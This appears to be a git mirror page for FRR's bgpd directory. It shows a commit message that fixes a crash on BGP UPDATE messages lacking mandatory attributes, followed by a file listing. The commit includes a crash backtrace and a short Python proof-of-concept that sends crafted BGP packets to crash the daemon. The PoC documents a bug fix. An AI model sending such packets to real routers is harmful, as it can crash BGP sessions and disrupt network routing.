proxmox-mirrors/mirror_frr
1
0
Fork 0
mirror of https://git.proxmox.com/git/mirror_frr synced 2025-07-25 09:28:50 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
a0d12e43f2
mirror_frr/bgpd
History
Donatas Abraitis 6cca03a52e bgpd: Check mandatory attributes more carefully for UPDATE message 
If we send a crafted BGP UPDATE message without mandatory attributes, we do
not check if the length of the path attributes is zero or not. We only check
if attr->flag is at least set or not. Imagine we send only unknown transit
attribute, then attr->flag is always 0. Also, this is true only if graceful-restart
capability is received.

A crash:

```
bgpd[7834]: [TJ23Y-GY0RH] 127.0.0.1 Unknown attribute is received (type 31, length 16)
bgpd[7834]: [PCFFM-WMARW] 127.0.0.1(donatas-pc) rcvd UPDATE wlen 0 attrlen 20 alen 17
BGP[7834]: Received signal 11 at 1698089639 (si_addr 0x0, PC 0x55eefd375b4a); aborting...
BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_backtrace_sigsafe+0x6d) [0x7f3205ca939d]
BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_signal+0xf3) [0x7f3205ca9593]
BGP[7834]: /usr/local/lib/libfrr.so.0(+0xf5181) [0x7f3205cdd181]
BGP[7834]: /lib/x86_64-linux-gnu/libpthread.so.0(+0x12980) [0x7f3204ff3980]
BGP[7834]: /usr/lib/frr/bgpd(+0x18ab4a) [0x55eefd375b4a]
BGP[7834]: /usr/local/lib/libfrr.so.0(route_map_apply_ext+0x310) [0x7f3205cd1290]
BGP[7834]: /usr/lib/frr/bgpd(+0x163610) [0x55eefd34e610]
BGP[7834]: /usr/lib/frr/bgpd(bgp_update+0x9a5) [0x55eefd35c1d5]
BGP[7834]: /usr/lib/frr/bgpd(bgp_nlri_parse_ip+0xb7) [0x55eefd35e867]
BGP[7834]: /usr/lib/frr/bgpd(+0x1555e6) [0x55eefd3405e6]
BGP[7834]: /usr/lib/frr/bgpd(bgp_process_packet+0x747) [0x55eefd345597]
BGP[7834]: /usr/local/lib/libfrr.so.0(event_call+0x83) [0x7f3205cef4a3]
BGP[7834]: /usr/local/lib/libfrr.so.0(frr_run+0xc0) [0x7f3205ca10a0]
BGP[7834]: /usr/lib/frr/bgpd(main+0x409) [0x55eefd2dc979]
```

Sending:

```
import socket
import time

OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
b"\x80\x00\x00\x00")

KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")

UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff003c0200000014ff1f001000040146464646460004464646464646664646f50d05800100010200ffff000000")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(1000)
s.close()
```

Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
(cherry picked from commit d8482bf011)
2023-10-25 11:22:32 +00:00
..
rfapi Revert "lib: register bgp link-state afi/safi" 2023-10-11 05:02:54 +00:00
rfp-example *: Convert struct event_master to struct event_loop 2023-03-24 08:32:17 -04:00
.gitignore
bgp_addpath_types.h bgpd: Implement neighbor X addpath-tx-best-selected command 2023-06-07 22:27:29 +03:00
bgp_addpath.c bgpd: Implement neighbor X addpath-tx-best-selected command 2023-06-07 22:27:29 +03:00
bgp_addpath.h bgpd: Implement neighbor X addpath-tx-best-selected command 2023-06-07 22:27:29 +03:00
bgp_advertise.c bgpd: Ensure send order is 100% consistent 2023-09-21 15:30:08 -04:00
bgp_advertise.h bgpd: bgp_adj_in_unset needs to return the dest pointer 2023-09-11 12:45:59 -04:00
bgp_aspath.c bgpd: Drop redundant assignment for aspath segment type and length 2023-10-05 22:46:54 +03:00
bgp_aspath.h bgpd: add set as-path exclude acl-list command 2023-08-07 12:30:34 +02:00
bgp_attr_evpn.c *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_attr_evpn.h *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_attr.c bgpd: Check mandatory attributes more carefully for UPDATE message 2023-10-25 11:22:32 +00:00
bgp_attr.h bgpd: Handle MP_REACH_NLRI malformed packets with session reset 2023-10-25 11:22:32 +00:00
bgp_bfd.c bgpd: Move the peer->su to connection->su 2023-09-10 08:31:25 -04:00
bgp_bfd.h *: Convert struct event_master to struct event_loop 2023-03-24 08:32:17 -04:00
bgp_bmp.c bgpd: Move the peer->su to connection->su 2023-09-10 08:31:25 -04:00
bgp_bmp.h *: Rename struct thread to struct event 2023-03-24 08:32:17 -04:00
bgp_btoa.c Revert "lib: register bgp link-state afi/safi" 2023-10-11 05:02:54 +00:00
bgp_clist.c bgpd: add 'match community-list any' function 2023-10-02 15:24:18 +02:00
bgp_clist.h bgpd: add 'match community-list any' function 2023-10-02 15:24:18 +02:00
bgp_community_alias.c *: Add a hash_clean_and_free() function 2023-03-21 08:54:21 -04:00
bgp_community_alias.h *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_community.c bgpd: Remove deprecated COMMUNITY_INTERNET community 2023-08-03 17:12:19 +03:00
bgp_community.h bgpd: Remove deprecated COMMUNITY_INTERNET community 2023-08-03 17:12:19 +03:00
bgp_conditional_adv.c bgpd: Do not suppress conditional advertisement updates if triggered 2023-10-23 11:41:57 +00:00
bgp_conditional_adv.h *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_damp.c bgpd: Initialise timebuf arrays to zeros for dampening reuse timer 2023-09-22 12:04:17 +03:00
bgp_damp.h *: Rename struct thread to struct event 2023-03-24 08:32:17 -04:00
bgp_debug.c Revert "bgpd: add linkstate debug" 2023-10-11 05:02:50 +00:00
bgp_debug.h Revert "bgpd: add linkstate debug" 2023-10-11 05:02:50 +00:00
bgp_dump.c bgpd: Move the peer->su to connection->su 2023-09-10 08:31:25 -04:00
bgp_dump.h *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_ecommunity.c Merge pull request #13882 from opensourcerouting/fix/dead_code 2023-07-01 14:33:07 -04:00
bgp_ecommunity.h Merge pull request #13722 from fdumontet6WIND/color_extcomm 2023-06-27 13:03:22 +03:00
bgp_encap_tlv.c *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_encap_tlv.h *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_encap_types.h *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_errors.c Revert "bgpd: store bgp link-state prefixes" 2023-10-11 05:02:52 +00:00
bgp_errors.h Revert "bgpd: store bgp link-state prefixes" 2023-10-11 05:02:52 +00:00
bgp_evpn_mh.c bgpd: bgp_evpn_es_route_del_all should not free dest until after looping 2023-09-11 12:45:59 -04:00
bgp_evpn_mh.h *: Rename struct thread to struct event 2023-03-24 08:32:17 -04:00
bgp_evpn_private.h bgpd: Convert from struct bgp_node to struct bgp_dest 2023-08-22 09:35:46 +08:00
bgp_evpn_vty.c *: Do not cast to the same type as the destination is 2023-09-29 10:24:16 +03:00
bgp_evpn_vty.h *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_evpn.c bgpd: Make debug a passed in variable for bgp_evpn_path_info_cmp 2023-09-19 15:51:05 -04:00
bgp_evpn.h bgpd: bgp_path_info_extra memory optimization 2023-08-08 10:48:07 +00:00
bgp_filter.c bgpd: add set as-path exclude acl-list command 2023-07-19 10:57:48 +02:00
bgp_filter.h bgpd: add set as-path exclude acl-list command 2023-07-19 10:57:48 +02:00
bgp_flowspec_private.h *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_flowspec_util.c bgpd: add some flowspec sanity returns 2023-04-28 22:28:16 +02:00
bgp_flowspec_util.h *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_flowspec_vty.c bgpd: bgp_path_info_extra memory optimization 2023-08-08 10:48:07 +00:00
bgp_flowspec.c bgpd: Free temp memory 2023-05-29 13:39:14 +04:00
bgp_flowspec.h bgpd: Treat withdraw variable as a bool 2023-04-06 17:41:32 -04:00
bgp_fsm.c bgpd: Set TCP MSS for the socket even if the session is set to passive 2023-09-18 15:42:06 +03:00
bgp_fsm.h bgpd: Convert bgp_fsm_nht_update to take a connection 2023-09-10 08:31:25 -04:00
bgp_io.c bgpd: bgp_fsm_change_status/BGP_TIMER_ON and BGP_EVENT_ADD 2023-09-10 08:31:25 -04:00
bgp_io.h bgpd: Convert bgp_io.c to take struct peer_connection 2023-08-18 09:29:04 -04:00
bgp_keepalives.c bgpd: make bgp_keepalives_on|off connection oriented 2023-09-10 08:31:25 -04:00
bgp_keepalives.h bgpd: make bgp_keepalives_on|off connection oriented 2023-09-10 08:31:25 -04:00
bgp_label.c bgpd: bgp_reg_for_label_callback ensure dest exist 2023-09-11 12:45:59 -04:00
bgp_label.h bgpd: add a function to compare two label lists 2023-06-16 10:54:58 +02:00
bgp_labelpool.c bgpd: replace ctime with ctime_r 2023-09-19 16:25:01 -04:00
bgp_labelpool.h bgpd: Use synchronous way to get labels from Zebra 2023-06-20 20:50:10 +03:00
bgp_lcommunity.c bgpd: Fix lcom->str string length to correctly cover aliases 2023-04-20 16:51:56 -04:00
bgp_lcommunity.h *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_mac.c bgpd: peer_established should be connection oriented 2023-09-10 08:31:25 -04:00
bgp_mac.h *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_main.c bgpd: Allow bgp to specify if it will allow v6 routing with v4 nexthops 2023-08-03 08:25:20 -04:00
bgp_memory.c bgpd: Move the peer->su to connection->su 2023-09-10 08:31:25 -04:00
bgp_memory.h bgpd: Move the peer->su to connection->su 2023-09-10 08:31:25 -04:00
bgp_mpath.c bgpd: bgp_path_info_extra memory optimization 2023-08-08 10:48:07 +00:00
bgp_mpath.h *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_mplsvpn_snmp.c bgpd: Coverity mistakenly believes we can fall through 2023-04-21 07:57:19 -04:00
bgp_mplsvpn_snmp.h *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_mplsvpn.c bgpd: Ecommunity_dup memory leak fix 2023-10-13 15:48:26 +00:00
bgp_mplsvpn.h bgpd: fix vpn import from local vrf with no retain 2023-09-12 15:17:37 +02:00
bgp_network.c bgpd: Set the TTL for the correct socket 2023-09-25 22:25:32 +03:00
bgp_network.h bgpd: Set TCP min MSS per listener 2023-09-18 22:34:45 +03:00
bgp_nexthop.c bgpd: replace ctime with ctime_r 2023-09-19 16:25:01 -04:00
bgp_nexthop.h bgpd: rename bnc->ifindex to bnc->ifindex_ipv6_ll 2023-07-13 12:05:15 +02:00
bgp_nht.c bgpd: Move the peer->su to connection->su 2023-09-10 08:31:25 -04:00
bgp_nht.h *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_open.c Revert "lib: register bgp link-state afi/safi" 2023-10-11 05:02:54 +00:00
bgp_open.h bgpd: Move BGP_CAP_LLGR_MIN_PACKET_LEN to headers file 2023-09-13 11:30:47 +03:00
bgp_packet.c bgpd: Handle MP_REACH_NLRI malformed packets with session reset 2023-10-25 11:22:32 +00:00
bgp_packet.h bgpd: First pass of BGP_EVENT_ADD 2023-09-10 08:31:25 -04:00
bgp_pbr.c bgpd: bgp_path_info_extra memory optimization 2023-08-08 10:48:07 +00:00
bgp_pbr.h *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_rd.c Merge pull request #12248 from pguibert6WIND/bgpasdot 2023-02-21 08:01:03 -05:00
bgp_rd.h Merge pull request #12248 from pguibert6WIND/bgpasdot 2023-02-21 08:01:03 -05:00
bgp_regex.c *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_regex.h *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_route.c Revert "lib: register bgp link-state afi/safi" 2023-10-11 05:02:54 +00:00
bgp_route.h bgpd: Use proper AFI when dumping information for dampening stuff 2023-09-22 12:04:17 +03:00
bgp_routemap_nb_config.c bgpd: add 'match community-list any' function 2023-10-02 15:24:18 +02:00
bgp_routemap_nb.c bgpd: add 'match community-list any' function 2023-10-02 15:24:18 +02:00
bgp_routemap_nb.h bgpd: add 'match community-list any' function 2023-10-02 15:24:18 +02:00
bgp_routemap.c bgpd: add 'match community-list any' function 2023-10-02 15:24:18 +02:00
bgp_rpki.c bgpd: peer_established should be connection oriented 2023-09-10 08:31:25 -04:00
bgp_rpki.h *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_script.c bgpd: Convert struct peer_connection to dynamically allocated 2023-08-18 09:29:04 -04:00
bgp_script.h *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_snmp_bgp4.c bgpd: fix pointer arithmetic in bgp snmp module 2023-09-21 13:30:06 -04:00
bgp_snmp_bgp4.h *: Convert struct event_master to struct event_loop 2023-03-24 08:32:17 -04:00
bgp_snmp_bgp4v2.c bgpd: snmp MIB bgp4v2 fix indexes in OID 2023-09-19 14:26:41 +02:00
bgp_snmp_bgp4v2.h bgpd: snmp MIB bgp4v2 fix indexes in OID 2023-09-19 14:26:41 +02:00
bgp_snmp.c *: Convert event.h to frrevent.h 2023-03-24 08:32:17 -04:00
bgp_snmp.h *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_table.c Revert "bgpd: store bgp link-state prefixes" 2023-10-11 05:02:52 +00:00
bgp_table.h bgpd: bgp_clear_adj_in|remove dest may be freed 2023-09-10 12:14:00 -04:00
bgp_trace.c
bgp_trace.h bgpd: Convert bgp_io.c to take struct peer_connection 2023-08-18 09:29:04 -04:00
bgp_updgrp_adv.c bgpd: bgp_fsm_change_status/BGP_TIMER_ON and BGP_EVENT_ADD 2023-09-10 08:31:25 -04:00
bgp_updgrp_packet.c bgpd: Assign explicit-null for default-originate according to the AFI 2023-08-11 10:52:40 +03:00
bgp_updgrp.c bgpd: fix return of local from ctime_r 2023-09-21 08:20:49 -04:00
bgp_updgrp.h bgpd: Remove withdraw_low from system, it is never used 2023-07-21 12:46:31 -04:00
bgp_vnc_types.h *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_vpn.c *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_vpn.h *: auto-convert to SPDX License IDs 2023-02-09 14:09:11 +01:00
bgp_vty.c Revert "lib: register bgp link-state afi/safi" 2023-10-11 05:02:54 +00:00
bgp_vty.h Revert "bgpd: add show bgp link-state link-state commands" 2023-10-11 05:02:50 +00:00
bgp_zebra.c Revert "bgpd: do not announce link-state routes to zebra" 2023-10-11 05:02:51 +00:00
bgp_zebra.h bgpd: fix redistribute table command after bgp restarts 2023-08-29 11:37:18 +02:00
bgpd.c Revert "bgpd: add bgp link-state address-family configuration context" 2023-10-11 05:02:53 +00:00
bgpd.h Revert "lib: register bgp link-state afi/safi" 2023-10-11 05:02:54 +00:00
Makefile
subdir.am Revert "bgpd: store bgp link-state prefixes" 2023-10-11 05:02:52 +00:00